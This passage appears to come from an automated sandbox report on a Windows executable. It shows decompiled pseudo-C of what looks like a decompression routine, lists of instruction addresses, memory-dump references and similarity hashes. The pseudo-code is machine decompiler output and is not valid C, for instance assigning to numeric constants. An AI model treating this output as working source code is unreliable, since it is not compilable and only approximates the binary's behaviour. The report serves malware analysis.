								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406520
0x00406520
0x00406524
0x004065db
0x004065de
0x004065ea
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x00000000
0x004068b3
0x0040652a
0x0040652e
0x00406a6f
0x00406a6f
0x00406a72
0x00406a76
0x00406a76
0x00406534
0x0040653a
0x0040653d
0x00406541
0x00406544
0x00406548
0x00406a0e
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00000000
0x00406a6b
0x0040654e
0x00406551
0x00406557
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00406582
0x00406582
0x00406582
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00000000
0x0040683d
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x00000000
0x004069b0
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00000000
0x00406805
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction ID: 178f069459afe4b8f6f8f854f87fc4d5347ab2ec506c5a0858b6a976d85c5aaa
Opcode Fuzzy Hash: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction Fuzzy Hash: 8E816871E00228CFDF24DFA8C8447ADBBB1FB45301F25816AD816BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406025, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406025(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00406A77))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
